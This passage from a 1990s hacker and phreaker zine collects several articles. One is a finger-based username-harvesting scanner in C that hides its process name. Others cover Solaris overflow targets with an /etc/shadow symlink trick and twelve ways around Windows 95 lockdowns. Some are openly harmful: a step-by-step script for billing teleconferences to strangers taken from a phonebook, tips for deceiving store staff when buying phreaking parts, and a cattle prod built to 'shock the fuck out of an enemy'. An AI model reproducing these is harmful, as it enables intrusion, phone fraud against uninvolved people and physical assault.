a number is positive or negative. The first bit is used to tell this, if it's a 1 it's signed negative, if it's a 0 it's signed positive. So how do we get 37? Add a leading 0, 0 1 0 0 0 0 0 1; now that's 37 and 1 0 0 0 0 0 1 is a negative 62. Once the computer sees the leading bit is a 1, it knows it's dealing with a negative number. An easy way to remember how it works, if the first bit is a 1, that find out what is the column value for that bit, so in 62 the first bit would be a 64, or 2^6. Since the binary number 0 1 0 0 0 0 0 0 is 64, and 0 1 1 1 1 1 1 1 is 63, then if we us 1 0 0 0 0 0 1 as negative 62 we can think of the first slot as a negative number, or the first bit as the negative and everything else positive. Say the first bit is a negative 64 instead of a positive 64, then subtract 1 because we are in reverse, then subtract for each other 1, the number of that column, so in this example, we would subtract 1 more for the 1 in the first column giving us negative 62. It can get complicated, but it just takes a little practice. Why practice? Why care about all this crap? Beside the fact it will help you later on down the road for those of you planning on going to college to continue your schooling in computers, it's very helpful in hacking to know this to. The Buffer Overflow ------------------------ I'm going to make a very simple example of what a buffer overflow is and how it happens and what it has to do with all these numbers and number systems. Well for this articles purpose let use a very simplistic 4 bit number in binary. As some of you know modern buffer overflow attacks are in HEX, or as the exploit code calls it, Assembly, which is actually wrong. Ok, say we have a number, and we want to do some addition, the numbers 3 and 6 using 4 bits. 0 1 1 0 = 6 + 0 0 1 1 = 3 ------------ 1 0 0 1 = - 7 Hold on, 3 + 6 = -7? In 4 bits the computer thinks that this number is 9, but 4 bits can't hold the number 9, and it comes up with negative 7. Whammo! Buffer Overflow. Most computers from the 8086 and up have a flag that indicates if a buffer overflow has occured or not, but if the code has not been carefully designed, skillful coders can find and exploit codes that are vurnerable, and they do every day. Filling up buffers with numbers in HEX that a larger then a buffer was designed to handle, crashing programs, racing for root. Conclusions ---------------- I hope I've made clear how to understand binary, octal and HEX number systems; how to read them, how to manipulate them back and forth, and how they sign numbers so one may perform basic mathematical operations. I also hope, if you learned anything, is how important it is to understand these number systems and how they tie into hacking and your future down the road. I am a firm believer that if you learn the basics then the hard stuff will be easy.... Bronc Buster!!! Thanks to RLoxley, NeTJaMMr and Perhillion for helping proof this. [EOF] ═────────────────────────────────────────────────────────────────────────────═ Mail server username scanner - scan.c by memor /* Make a usernames lists from a file, to an host, via Fingers.. for any use.. example: scan userfile mail.server.to.scan.net or to save it in an outpout file : scan userfile mail.server.to.scan.net > result have fun with that little thing... memor/hbs - sjta */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> void main(int argc,char *argv[]) { /* define file handle , strings */ FILE *nombre1; char *nom; char *commande; char *dnsip; int fin; int test; /* create stacks */ nom = (char *)malloc(30); commande = (char *)malloc(30); dnsip = (char *)malloc(50); fin=0; /* do we have enough arguments ? no ? */ if (argc<3) { printf("Scans for usernames with finger.. memor(hbs/sjta) \nusage : %s userfile host\n",argv[0]); /* ok bye.. not enough arguments */ exit(1); } /* we have enough.. we can now work :) */ if (argc>2) { nombre1=fopen(argv[1],"r"); /* can we open that file ? /* if(nombre1==NULL) { printf("Can't open the file!!\n"); /* no? ok bye.. :) */ exit(1); } /* saving some arguments and hiding the programm */ sprintf(dnsip,"%s",argv[2]); sprintf(argv[0],"joe "); sprintf(argv[1]," "); sprintf(argv[2]," "); /* while we reach the end of file :) */ while(fin!=1) { /* i catch the username and wait test for the end of file */ test=fscanf(nombre1,"%s",&nom[0]); if(test==EOF) fin=1; else { /* i attempt a finger to see if we got an existant username */ sprintf(commande,"finger %s@%s",nom,dnsip); printf("Scanning for [%s] ..\n%s\n",nom,commande); system(commande); } } /* closing input file of usernames */ fclose(nombre1); } } ═────────────────────────────────────────────────────────────────────────────═ Vuls in Solaris 2.5.1 by Shok Although there are vulnerabilities known in rlogin and chkey, these are unrelated to them. rlogin: They have the following code (which is pathetic might I add): char *p; char term[256]; [...] p=getenv("TERM"); [...] strcpy(term, p); Yah there is Sun's super security.......... sheesh the obvious fix would be a simple strncpy but NO they had to do it the secureless way ;) arp: Well this is the gethostbyname() vulnerability in solaris 2.5.0 and 2.5.1 Now as most people know, there was a vulnerability in gethostbyname, and it's sploit used rlogin. Well.....if they chmod -s'd rlogin (which would break it anyway), you could still use arp, as it is suid (although occasionally I set it sgid instead). This is a shortened version of the code: if (argc == 2) { get(argv[1]); exit(0); } get(host) char *host { [...] hp = gethostbyname(host); More great ol' Sun security eh? The sploit code for this is just a modified gethostbyname sploit. chkey: gee let's look at this one....... char program_name[256]; strcpy(program_name, argv[0]); WAHOO!!! THE BEST ONE YET! Once again great job sun...... Although I should make it clear I do like Sun.....but they are really ignorant assuming people won't get ahold of the source so they don't have to use proper bounds checking....I mean that should be like common sense. That's all I am going to mention.....although I will give a few.... I'm looking at cu and uucp which appear to have an overflow in there remote host and commands.......to test this you ought to just make a generic program: #include <stdio.h> void main(int argc, char **arg) { unsigned long int i; unsigned long int num; num=atoi(argv[1]); for (;i<num;i++) { putchar('X'); } } Compile that as we'll say testit then do on solaris 2.5.1.... uucp `./testit 9999`!`./testit 9999` `./testit 9999`!`./testit 9999` or whatever the format is......and do the same thing to cu.....I haven't tried this yet...this is just based on the source.......and like I said it's possible..the code jumps across many functions and I don't have time to follow it.......so lemme know the results (shok@sekurity.org, I'm not going to give my domain at this time... ;)) There was a CERT advisory on rdist vulnerability for Sun, however they gave enough information to easily find out what the vul was. Here is the vul: I'm not going to put all the code for this because it crosses several functions.....but you pass a macro to argv[1] and it first calls a makenl() which I guess has something to do with checking if it's a macro or something but there is no man page for it and it's not in the source so I don't know what it is.....but then argv[1] is passed on to expand with this: in expand expstr(which is the vul function) is called as expstr(nl->nl_name); and nl->nl_name is argv[1] if it is a macro I'm assuming. But this is expstr(): expstr(s) char *s; char buf[BUFSIZ]; [...] sprintf(buf, "%s%s%s", s, tp->n_name, tail); As described in expand.c.......it appears that you can manipulate enviromental variables like SHELL, TERM, etc.....and ~user is also a macro..you get the idea shchars = "${[*?"..... E_VARS for expanding variables....... E_SHELL... E_TILDE......so if you did rdist $SOMEVAR it will recognize the '$' and expand that variable.......I haven't been able to test this as the BUFSIZ is too big and I get disconnected if I export a variable greater than 1000 or so (weird heh...) This is also related to the message I posted to bugtraq on multiple overflows in MH-6.8.3. In ruserpass.c, in the function rnetrc().....they have the following (which has two vuls): char *hdir, buf[BUFSIZ]; hdir=getenv("HOME"); [...] sprintf(buf, "%s/.netrc", hdir); Now there are two problems with this..... First of all the obvious....is there is an overflow. Secondly, all one would have to do is for example ln -s /etc/shadow $HOME/.netrc and you could abuse that. Libc specifically says you shouldn't do this. In libcurses, in pr_headers, in print.c there is an overflow in the char *terminfo; char buf[512]; terminfo=getenv("TERMINFO") [...] sprintf(buf, "%s%s%s", terminfo..... So anything that uses libcurses (such as screen), is vulnerable. Anyway it's late, I'm tired. So that's about all for now. Enjoy, --==+*~(Shok)~*+==-- shok@sekurity.org HOME PAGE: http://www.janova.org FTP SITE: ftp://ftp.janova.org ═────────────────────────────────────────────────────────────────────────────═ Operating Systems by Fucking Hostile There are a lot of Operating Systems out there. It seems that the two major ones are Windows and Linux. Among the average computer user you will find that most of them use Windows 95 or NT. In the computer underground now it seems the trend is Linux and its varients. Anyways this article will not be about either of those, actually it will have some info on them but that's not all. I am writing this with intention to give readers the knowledge of all available OS's there are out there. Information on the OS, where to find out more about it, and where to get it. Hopefully people will learn about all the options they have beyond the trend that is going on out there. This gives only a little detail on the OS but at least gives you some ideas to look at. - AROS - About: The Amiga Replacement OS. Idea started around 1993 when Amiga was at a low point. AROS fully started in the winter of 1995. The goal of AROS is to be as compatible as possible to AmigaOS 3.1, ported to different types of CPU's, Binary compatible on Amiga and source compatible on other hardware, and can run as a standalone version which boots directly from harddisk, as an emulation which opens a window on an existing OS to develop software and run Amiga and native applications at the same time and as a link library which allows to create native applications with the comfort of the AmigaOS. Current Version: Unknown Homepage: http://aros.fh-konstanz.de/aros/ - BeOS - About: In 1990 former former president of Apple's product division, Jean-Louis GassΘe, formed Be. INC. The Be Operating System is a new software system designed for the media and communications-based applications of the next decade. While retaining compatibility with data and network standards in use today, the BeOS jettisons many of the assumptions inherent in older OS architectures to achieve a new level of performance and a significantly simplified programming model. The BeOS features: A True Multitasking, Heavily Multi-threaded System, Symmetric Multiprocessing, An Object-Oriented Design, A Design for Real-Time Media and Communications, and Simplicity. Current Version: Unknown Homepage: http://www.be.com - CHORUS/OS - About: The CHORUS/OS family of operating system products has been designed for telecommunications and other real-time embedded systems manufacturers. CHORUS/OS offers a binary family of highly configurable, richly featured, componentized operating system products. When CHORUS operating systems are integrated with CHORUS/COOL ORB, Chorus' distributed real-time embedded object request broker, real-time systems and devices have access and are accessible to any computer, or server in the enterprise, providing management systems in the enterprise with access to data from the embedded world, and giving the embedded world access to application software available from management systems. Current Version: Unknown Homepage: http://www.chorus.com - FreeBSD - About: FreeBSD is an advanced BSD UNIX operating system for "PC-compatible" computers, developed and maintained by a large team of individuals. FreeBSD offers many features today which are still missing in other operating systems, even some of the best commercial ones. Advanced features for performance, security, and even binary compatibility with other popular operating systems. And it's free. Current Version: 2.2.2 Homepage: http://www.freebsd.org - NetBSD - About: The NetBSD Project is the collective volunteer effort of a large group of people, to produce a freely available and redistributable UNIX-like operating system, NetBSD. NetBSD is based on a variety of free software, including 4.4BSD Lite from the University of California, Berkeley. It runs on a large number of hardware platforms and is highly portable. It comes with complete source code, and is user-supported. Current Version: 1.2 Homepage: http://www.netbsd.org - OpenBSD - About: The OpenBSD project was spawned from NetBSD (ie. a member of the 4.4BSD family) and is developed separately. OpenBSD tracks bug reports and source tree changes from the NetBSD and FreeBSD projects fairly closely. Even pieces of code from the Linux projects have been used. OpenBSD has too much shit about it to even list so just check out the homepage. Current Version: 2.1 Homepage: http://www.openbsd.org - GEOS - About: Geoworks designed the GEOS« operating system to enable devices that are graphical, easy-to-use, affordable, feature-rich, and able to support advanced communications. Geoworks believes there are several primary characteristics necessary for system software in these new devices. The operating system must be flexible so that device manufacturers can customize their products for specific markets. The software must deliver high performance without sacrificing efficiency. And users of these devices must be able to connect to standard data sources, including the desktop, corporate network, and Internet services. Current Version: Uknown Homepage: http://www.geoworks.com/htmpages/sso.htm - Inferno - About: Inferno was developed by the scientists at Bell Labs, Lucent Technologies' research and development arm. The Computer Science Research Center of Bell Labs created Inferno - this same Center developed UNIX, C and C++ programming languages and workstation technologies. Inferno is a Network Operating System that delivers interactive services through a variety of networks, providing ubiquitous access to resources and information. Current Version: 1.1 Homepage: http://207.121.184.224/info.html - TurboLinux - About: TurboLinux 1.0, a new Linux distribution fully compatible with RedHat Linux, some features include Easy Installation and Setup - Hardware components (SCSI, Ethernet, and Video adapters) are automatically detected at installation. TurboDesk - This configurable desktop environment allows customization without editing text files. AutoUpdate - Packages are seamlessly installed onto your system using either the interactive mode or the fully automatic mode. Current Version: 1.0 Homepage: http://www.turbolinux.com - Other Linux OS's - TurboLinux is one of the newer ones so that is why I mentioned it.. there are a lot more tho that can be found at: http://www.linux.org/dist/index.html - Microsoft Windows - Windows 3.1 - Windows 95, Windows 97, Windows CE, and Windows NT You all know about Windows. If not go to: http://www.microsoft.com - MINIX - About: MINIX is a free UNIX clone that is available with all the source code. Due to its small size, microkernel-based design, and ample documentation, it is well suited to people who want to run a UNIX-like system on their personal computer and learn about how such systems work inside. It is quite feasible for a person unfamiliar with operating system internals to understand nearly the entire system with a few months of use and study. Current Version: 2.0 Homepage: http://www.cs.vu.nl/~ast/minix.html - OS/2 - About: IBM's OS. Kind of like Windows except they have less software made for them. If it wasn't for that it might not be too bad. Current Version: Unknown Homepage: http://www.software.ibm.com/os/warp/ - Plan9 - About: Plan 9 is a distributed computing environment assembled from separate machines acting as terminals, CPU servers, and file servers. A user works at a terminal, running a window system on a bitmapped display. Some windows are connected to CPU servers; the intent is that heavy computing should be done in those windows but it is also possible to compute on the terminal. A separate file server provides file storage for terminals and CPU servers alike. Current Version: Unknown Homepage: http://www.ecf.toronto.edu/plan9/ - Xinu - About: Xinu is a small, elegant, multitasking Operating System supporting the following features: Concurrent Processing, Message Passing, Ports, Semaphores, Memory Management, Buffer Pools, Uniform Device I/O, Shell, Tcl, and TCP/IP. Current Version: Xinu 7.9 Homepage: http://willow.canberra.edu.au/~chrisc/xinu.html - QNX - About: Started off being called 'Quick Unix', the QNX realtime OS offers you all the advantages of a true microkernel. It's small, scalable, extensible, and fast. As a true microkernel OS, QNX starts with a lean core of highly reliable code. It's small enough for ROMable embedded applications, yet powerful enough to run a distributed network of several hundreds of processors. Current Version: Unknown Homepage: http//www.qnx.com - Solaris - About: Sun Unix-based user environment, including the Unix operating system and an X11-based window system. Solaris 1.x is a retroactive (marketing?) name for SunOS4.1.x, a BSD-like version of Unix with some SVR4 features. Solaris 2.x (which is what most people mean by "Solaris") includes SunOS5.x, which is an SVR4-derived Unix. Current Version: 2.6 Homepage: http://www.sun.com/solaris/index.html ------ Well that is all I have. There are a lot of others out there and a lot more information on them then I have supplied but hopefully this will give some people stuff to check out. Also check out http://www.myos.com and http://www.ugu.com for more info on different OS's. ═────────────────────────────────────────────────────────────────────────────═ Hacking your way to DOS by Devix Well, I thought I should write an article for thtj this month so here it is... Newbies Guide: Hacking your way to DOS. Unfortunatly your access to DOS may be restricted so you can't play your games or hack the LAN. This article will attempt to describe many various ways to break out of that annoying GUI called windows95 and bring you back to DOS. There are many ways to protect you from getting to DOS such as using policy editor (most common. this can be found on your windows95 cd) or some other 3rd party software package. Some of these ways may not work so if one doesn't, just try the next. 1. The old F8 on boot-up. This one is self explanatory. When you see the "Starting Windows 95..." quickly press the F8 button and it may bring up a menu that looks like this: Microsoft Windows 95 Startup Menu ================================== 1. Normal 2. Logged (\BOOTLOG.TXT) 3. Safe mode 4. Safe mode with network support 5. Step-by-step confirmation 6. Command prompt only 7. Safe mode command prompt only 8. Previous version of MS-DOS Enter a choice: 1 You should choose #6. If everything goes right, you will soon see a "C:\". If the menu doesn't show up when you press F8, the administrator (or computer teacher) may have disabled this. To re- enable it, just fire up notepad and edit "c:\msdos.sys". This file is normally a system/hidden/readonly file. The part you want to edit is the line that says "BootMulti=0". Change it to "BootMulti=1". 2. Using OLE. Just start up any program thats supports object embedding such as wordpad and choose "Object..." from the "Insert" menu. A fancy little box should pop up. Click on "Create from File" and put this as the file name: "c:\command.com". Click OK and you should now see an icon stuck in your wordpad document. Double-Click the icon and a dos prompt should appear. 3. Creating a shortcut in the desktop/start menu. Start any 32-bit program that lets you open/save files. Click on "Open..." (or "Save As...") from the "File" menu and change to the directory "c:\windows\desktop" or "c:\windows\start menu". Right-click in the main box and choose "New -> Shortcut" from the menu that pops up. Create a shortcut to "c:\command.com" and then look on the desktop/start menu for the icon. Use it. 4. Command.com from "File Find". Click once on a blank part of the taskbar. Press F3. Search for "command.com" from drive "c:". To speed this up, unselect "Include subfolders". Click "Find" and when command.com shows up in the results area, double-click it. 5. Editing ".lnk" files. Just edit one of the "c:\windows\desktop\*.lnk" files with a program that will let you edit the actual lnk file, not the file it links to. most 16-bit editors should work. Just change it like you would with a hex-editor so that it links to "c:\command.com" instead. 6. Changing shells. Just edit "c:\windows\system.ini" so the line that says "shell=Explorer.exe" will say "shell=c:\command.com". Restart the computer and you will now have a dos prompt. From dos, type "explorer" to get the rest of windows loaded. Change system.ini back when you need everything to work how it was. 7. "Open with...". Start some 32-bit program. Choose "Open..." from the "File" menu and right-click a file while pressing shift. Choose "Open with..." and proceed to open the file with "c:\command.com". 8. Word 6+ Macros. Start up Microsoft Word and make a macro that says: shell "c:\command.com" Run it. 9. Visual Basic. Startup Vb, make a command button on the form, and give it the code: x = Shell("c:\command.com") Press F5 and then click the button that you just made. Voila! 10. Resetting the screen. Shut down the system so that it shows that stupid screen "It is now safe to shut off your computer." That screen is really just a bmp file being displayed over a dos prompt. Type the following just like you were in dos: cls mode co80 This will attempt to reset the screen and show you a "C:\" if it is applied at the right time. 11. Netscape Apps. Choose "General Preferences" from the Options menu in netscape and then click on the tab labeled "Apps". Type in: c:\command.com for your telnet application and then click OK. Next, surf on over to "telnet://". This should launch a dos prompt. 12. System Information. Start up Microsoft Word and goto "About" from the help menu. Click the "System Information" button and then the "Run" button. Well thats about all I can think of. I know that there is many more ways to get to dos but I am too busy to find them... Seeya! Devix - devix@thepentagon.com www.thepentagon.com/devix PGP key available above. Use it. ═────────────────────────────────────────────────────────────────────────────═ A phreak's dream come true Written for thtj from the personal accounts of Kode9 Saturday, September 13, 1997: Kansas City, Missouri The local Southwestern Bell telephone office gets its basement flooded. Waking to the sound of a telephone ringing can be a pleasing experience, or it can be an irritating one; it guess it depends on how much you like phones. On this particular Saturday, I woke to that very sound, a ringing, but it was like no ring I'd heard before. It was a bunch of truncated rings, back to back, like ri..ri..ri.. instead or ring.....ring.....ring. I didn't know what it was, I didn't pick up the phone either. Thinking it'd go away, I just waited on it. But it kept making that short ring, over and over again. It lasted for about ten minutes, and then as quickly as it'd started, it stopped. I picked up the phone; no dialtone. It was silent, but it wasn't dead... the keypad lit up. There must be current, I thought. So the lines were alive, but there was no dialtone. The switch must've died. Do switches die? This one wasn't working. Was I the only one? I couldn't call anyone to find out, I'd have to drive around and see what was going on. The mall was alot more interesting than normal today, because apparently the payphones weren't returning quarters. Don't people listen for a dialtone before sticking in their money? I've never seen so many people so pissed at a payphone in my life, it was almost like a riot. I checked for a dialtone on one of them, though I was fairly certain there wouldn't be one, and I was right. Dead silence. How could this fast food eating, instant coffee drinking, all the day's news in a half hour watching society survive without phone service? Cellular, of course. The phone of the future, or at least, that's what the cellphone companies want us to think. Cell activity today was at an all time high, based on all the calls I picked up on my scanner. Most of them were people saying "oh gosh, my phone is dead!" but I did catch DOW chemical ordering some nitroglycerin. Stronger plastics through the use of explosive compounds? I guess it's possible. I'm certain that even though 911 has a cellular system, alot of people died as a result of the lack of landline service. Over the course of several hours of waiting for my precious phoneline to whisper a dialtone softly in my ear, I learned via the local news that the phone outage was caused by a water main break that flooded the basement of a SouthWestern Bell building, which just so happened to service the exchange I was in, along with exchanges in half the city. The water had apparently shorted out the ESS, and down came the system as a result. It's a wonder this hasn't happened before, SWBell being genius enough to house their ESS in the basement. If you haven't wondered already, as to why this story is being called 'a phreak's dream come true', you're not too bright. For those of you who are wondering, the title is soon to be explained to you. The phone company, in its infinite wisdom, decided that rather than continuing to leave the majority of a large city deaf and mute, they would do the best they could to bring service back to us. That revelation occurred at around nine in the evening, a good twelve hours after the trouble began, (so they're a little slow, we can't blame them, can we?) when I got a call from my girlfriend. Since the lines were up, I figured now was as good as any time to see exactly what kind of switching system they'd fired up, just hoping it wasn't ESS. I quickly dialed up my self appointed 800 testline, 18004GAYASS, and whipped out my 2600hz tone, proudly stored on my self-built recorder. I played it into my newly awakened line. Beep. Click. Line available. I didn't send any KP or ST tones, because I wasn't crazy, and I was well convinced that we weren't on ESS. Was it xbar? SxS? I don't know, and I was too excited to find out. What to do? I did what any noble phreak would do. I called every phreak I knew of in the Kansas City area. It was a virtual free for all. Anyone could seize a trunk. Anyone could abuse anything on this ever-so-temporary switching system that the phone companies were trying to make extinct. It was like a dream, like a wonderful phone phreaking dream. The gestapo never stopped by. They probably never knew I'd blown that tone, because they'd gone back to a system that was apathetic to my nefarious activities. The playing field had been leveled. The telco vs. the phreaks. It was amazing. Just thinking about the possibilities made me smile. I could call London, I could call anywhere; it'd be free. All those far off bbses I'd never dared to call, for fear of oppressive phonebills... I could call them with reckless abandon. Though a joyous event, opportunity didn't last long. It seems like nothing good ever does. They had ESS back up and running within two hours, but those precious hours, they were a phreak's dream come true. Later that night while watching the local news for a followup, things seemed to be well concluded with the quote of a certain local anchor... "Malicious tampering deterred the repair crews as they attempted to reinstate phone service in the area. The tampering was believed to be caused by several youths with some electrical skill." If not the thrill of hearing a trunk seized, watching footage of the switching equipment under four feet of water was the highlight of a memorable day. To all of you phreaks living in the Kansas City area under the (816) 350, 373, 478, 503, and 795-XXXX exchanges, I hope you thoroughly enjoyed this once in a lifetime opportunity. ═────────────────────────────────────────────────────────────────────────────═ Rat Shak Shopping Made Easy by N-TREEG Okay I know some of you guys have had a hard time getting the parts you need out of your local Rat Shak for whatever your purposes are. This article is to make your shopping experience a little more pleasurable and / or successful. Note: "Rat Shak" is henceforth used to avoid all the evil legalities. "QUESTIONABLE" PARTS Okay here's a little tid-bit for you. The employees can't sell you anything they feel you are going to use for less-than-legal purposes. You'll cut out a lot of your parts-finding frustration if you don't elude to it's uses, whatever those might be ;-) Just don't bring up the parts' purposes what-so-ever. TIP #1: Do not go into Rat Shak with a list if it can be avoided. If you must have a list here are a few things to keep in mind: Try to keep it as short as possible. Only have on there a part number or something if you know specifically what it is you want. The more vague it is, the less the salesman can conclude from it. It's also a little less suspicious if your list is hand-written. NEVER EVER EVER go into Rat Shak with printed box plans in hand. That's getting you nowhere fast! It's always best if you've got memorized the specific part you need. TIP #2: Never mention what the parts are going to be used for. Don't bring it up. If the salesman asks, have some feasible alternative ready to give that the part could be used for (plan ahead). You can always say you're replacing the exact same part in a broken toy/gizmo/home project/ appliance, etc. Words to avoid mentioning: red box, descrambler, cable box, linears, e-prom burners (I doubt they carry 'em), scanner mods, snarfers. YOUR PURCHASE TIP #3: Use common sense. Use your head. Don't ask for two things that are obviously questionable in the same sale. How much sense does it make to ask for a tone dialer then turn right around and inquire about crystals. THINK! TIP #4: The Name and Address bit. Don't be alarmed when Rat Shak salesmen ask for your infos. They are supposed to. No, it's not so they can track your purchases, etc. It's only for their sales flyer. So don't worry about it. Don't give 'em a hard time and you'll appear a little less suspicious. Plus you can sometimes find coupons for free stuff in the flyers they send you. Who couldn't use free batteries every once in a while? "WE DON'T HAVE ANY" TIP #5: Make use of the catalog. So, you can't find what you're looking for on Rat Shak's shelves. No biggie. Don't automatically assume they just don't want to sell you what it is you need. Ask to see their yearly catalog. They are usually up on the counter. Just thumb through them. (Or buy one, great to get parts numbers = no list!) They've got an index in the back to speed your search. If it's not there then it more than likely isn't regularly carried in stock. You've got another option. Ask if you could thumb through their warehouse's catalog. It's a bookstand that has about 8 or so ring binders beneath it. Flip one of those open and search their. If you can find what you need in there, have them order it for you. OTHER STUFF TIP #6: Don't try to "card" Rat Shak. Trying to card Rat Shak is a nice way to get busted. Just don't do it. They do verify credit cards, same thing for checks. They check signatures and ID too. Save yourself and them a hassel, pay for your merchandaise. Rat Shak's just a regular store with regular people for employees. They don't want to give you a hassel. Just exercising common sense will make your shopping experience more pleasurable for the both of you. They'll be happy becuase they'll be making money, you'll be happy becuase you'll be getting your part. Remember if you can't get it at Rat Shak, there are other stores out there: DigiKey - http://www.digikey.com Mouser Electronics - http://www.mouser.com Have fun kids...play nicely. N-TREEG HaX0r3d PerceptionS Productions / THTJ Shouts out to: The THTJ Crew, #phreak, #hackphreak, PADmaster, Speed1, Shoc, & The Spanish Mafia. ═────────────────────────────────────────────────────────────────────────────═ Telephone Conferencing by DataThief Well, i've recieved quite a few questions about setting up conferences so i went on a search to find an article to suggest to the people that kept asking me how, but i couldn't find one, so here it is... Setting up a conference can be a useful and phun skill to have, and it is alot easier than it would seem. There are a couple main teleconf. services including: AT&T Teleconferencing 800.232.1234 GTE Teleconferencing 800.483.9999 Alliance Teleconferencing varies (in large cities) i usually use AT&T because they rarely validate u'r info and are extremely gullible... ok, here are the steps u take to setup a conf: 1) lookup a name in the phone book, write down the name and # 2) goto u'r fav. fonebooth and dial a conference # listed above 3) give them the info on the paper for the person to be the 'host' (the person that gets charged for the call) 4) give them the payfone # as u'r number so they can call back 5) tell 'em what time u want it for and how long 6) choose dial-in or dial-out, if dial-in, choose how many ports (people) to add to the conf. 7) make up some company name incase they ask u for one 8) hang-up and they'll call back in 1-5min 9) they'll either say "sorry charges not accepted" or "ok u'r conf. will be up when u specified, thank you for using blah..blah..blah A typical conversation will go like this: <operator> Welcome to AT&T Teleconferencing Systems may i help you? <you> yes, i'd like to setup a conference. <op> who will be the host? <you> host? <op> the person paying the bill for the conference call <you> oh, <name> <op> phone # of the host <you> <phone #> <op> your name <you> <fake name> <op> your phone #? <you> <payfone #> <op> duration of the call <you> 2hours <you can add more if u want> <op> when will the call begin? <you> 7:00CST <op> is this gunna be a dial-in or dial-out conf? <you> dial-in <op> how many ports? <you> 10 <op> okay, we're gunna hang up while i set it up and i'll give u a call in a few min...okay? <you> ok ...hang up... ...ring... <you> hello <op> hello this is at&t teleconf. is this Mr. <name u gave> <you> yes <op> okay your conf will be ready at <whenever> your dial-in # is 800.xxx.xxxx your host code is xxxxxx <don't use it unless at a payfone> your guest code is xxxxxx <u can use this one anywhere> <you> thanks Things that can go wrong: 1) u called to set it up from home and the feds show up 2morrow 2) noone gets on within 15 min of the designated start time and it auto-cancels the conf 3) they don't accept the charges <call right back and start over!> one last thing about dial-in vs. dial-out in dial-in, u get the codes, and anyone can dial-into the conf, but u can't dial out to connect anyone. in dial-out, only the host can add people, so u have to be at a payfone, but its fun for pranks and stuff ;) ═────────────────────────────────────────────────────────────────────────────═ How To Make A Cattleprod by The Messiah Contents: * Introduction * Ingredients * How To Get The Ingredients * First Of All... * Part 1 - Making The Baton * Part 2 - Making The Power Pack * Part 3 - Packaging And Use * Words Of Wisdom Introduction: Have you ever wanted to shock the fuck out of an enemy? Ever wanted to clear up the congestion in the halls of your local high school? Ever wanted a hand buzzer similar to the one the Joker had in Batman? Well, this article is for you. With a wee bit of cash and some ingenuity, you too can be armed with a ~100-200 milliamperes shock rod. Ingredients: * One (1) automobile coil * One (1) 12v lantern battery *** NOT A CAR BATTERY!!!! *** * Some red wire * Some black wire * A little bit of green wire (not really necessary) * One push-button switch (non-toggling) * Two (2) feet of PVC pipe * One (1) PVC cap * Wire cutters, hacksaw, wire strippers, electrical tape * The IQ God gave the average Republican (20) * A copy of Screeching Weasel's Boogadaboogadaboogda album How To Get The Ingredients: You can get the auto coil at a salvage yard. It's a black cylinder with two electrodes and a big post on the top. The battery, wire, button, tape, wire cutters, and wire strippers can be found at your local Radio Shack. You can pick up PVC pipe and cap at your local hardware store. The IQ thing should be already taken care of. if it's not, you are so fucked. You can get the CD from Lookout! Records. First Of All... This is a pretty big deal. Don't fuck around with this. Test it on a voltometer before you try it out on your co-workers. All of your mistakes will be dealt with be you; I assume no responsibility for anything you do. Now that that's been said, put on the CD... groove with it... Part 1 - Making The Baton Making the actual baton (thing you whack the target with) is a personal thing. It should be a reflection of your personality. Oh hell... Cut the PVC pipe to a length of your liking. Now, take two pieces of wire (red and black), about 3-4 feet long, and strip about 2 inches off the end. Thread them through the pipe, then pull the stripped ends out the end, like this: || || = pipe * = red wire (ground) # = black wire (negative) # * # * # * || # * || || # * || || # * || || # * || || # * || If the wires touch, the circut shorts out, and does absolutely jack shit. So make sure they don't. The more contact the baton has with skin, the bigger the shock. Take the PVC cap and drill two holes in it, spaced evenly: ___ / \ | * | | * | \___/ Thread the ends of the stripped wire through the holes in the caps and screw the cap on. Part 2 - Making The Power Pack This is the heart of the cattle prod. Here's a diagram: * = red wire (ground) # = black wire (negative) $ = green wire (positive) # * <-- from baton # * # * # * _--_ <--- button # * $$$$$$$$|____|$$$$$$$$ # _*_ $ $ ####### # | | $ + - # #####- | | + __|__________|__ # # _|_| |_|_ | | # # | | | | # # | | | | # # | | | | # # | | | battery | # # | | <-- auto coil | | # # | | |________________| # # | | # # |___________| # # # #################################################### Part 3 - Packaging And Use You can put the power pack in a backpack or something, because carrying it is all funky. To shock someone, touch the two wires at the end of the baton to their arm or whatever and push the button. Zap. Words Of Wisdom: A couple of things- one, *** DO NOT *** use a car battery for the battery. If you shock someone with a car battery, it will kill the person, or fuck them up seriously. Please don't kill anyone, k? Also, this kind of setup tends to drain batteries. A 12v lantern battery will last for about 10-20 shocks. ═────────────────────────────────────────────────────────────────────────────═ Securing Linux by KiDMaGiC When discussing Linux and networking, one often comes upon a taxing problem. This problem, to many administrators, can either be a burden to install or a godsend of smooth sailing. However, if you are in a situation where the former is true, I will attempt to make this a bit easier. Many months ago, back in my earlier days of using Linux, I was gullable and offered shells off of my slow 28.8 connection, which neither my ISP nor my machine appreciated. One of the people I (unknowingly) gave a shell to, unfortunately knew more about slackware 3.0's security than I did, and had rm -rf / going within seconds. At that point in time, I realized security was a must for any Linux box connected to the internet. Your personal LAN or WAN may be different in its breed and creed of users, but its much better to be safe, than sorry. The first thing that everyone I asked told me to do, was to install shadow passwords. This is an incredibly important step which involves using a random SALT to encrypt your passwords. This generally is much harder to break, and can save you a break-in due to unprotected crypt passwords. Even tho shadow passwords can be slightly difficult to install for a new Linux user, the benefits outweigh the trials. Another good idea is to install a tcp wrapper. These can be found on sunsite(ftp://sunsite.unc.edu/pub/Linux/) and are generally just good ideas. These can be your alternative to firewalls, but have less functions. Basically, a tcp wrapper checks the address of an incoming tcp packet (such as a packet for telnet, ftp, finger, etc.) and compares it to a group of files. These files contain a list of addresses, what services they can use, and wether or not the address should be allowed or denied. I find this my primary defense in the brutal world of "drive-by" attacks. If you happen to be a security/encryption nut like myself, you may also wish to get such utilities as pgp and ssh. PGP is the acronym for Pretty Good Privacy, which is "encryption for the masses." This little program is very efficient in encoding anything you want to keep secure, from emails to book reports to sensitive source code. This is an invaluable tool to have, and also just fun to play with with your friends. SSH, or secure shell, is similar to rsh, but offers advanced encryption options to avoid your connection being monitored by an outside third party. This is another invaluable tool if you have reason to believe people are out to foil your plans of world domination. :) These are just a small few of the many options you can explore for security. Things such as firewalls, network monitoring software, and packet sniffers are just too in-depth to touch base with in this article. However, information is abundant on the net, and many people would be happy to help you if you have a serious question. ═────────────────────────────────────────────────────────────────────────────═ Social Insurance Numbers by Devix In Canada (where I live) to get a job you must have a Social Insurance Number (SIN). I don't know much about them or why they are used but I do know how they are validated (and thus generated) so I thought I would share this info with all of you. This can be useful for numerous reasons but I'll leave that up to you to figure out. I don't know if this will work with the US equivalent, Social Security Number (SSN). OK, the 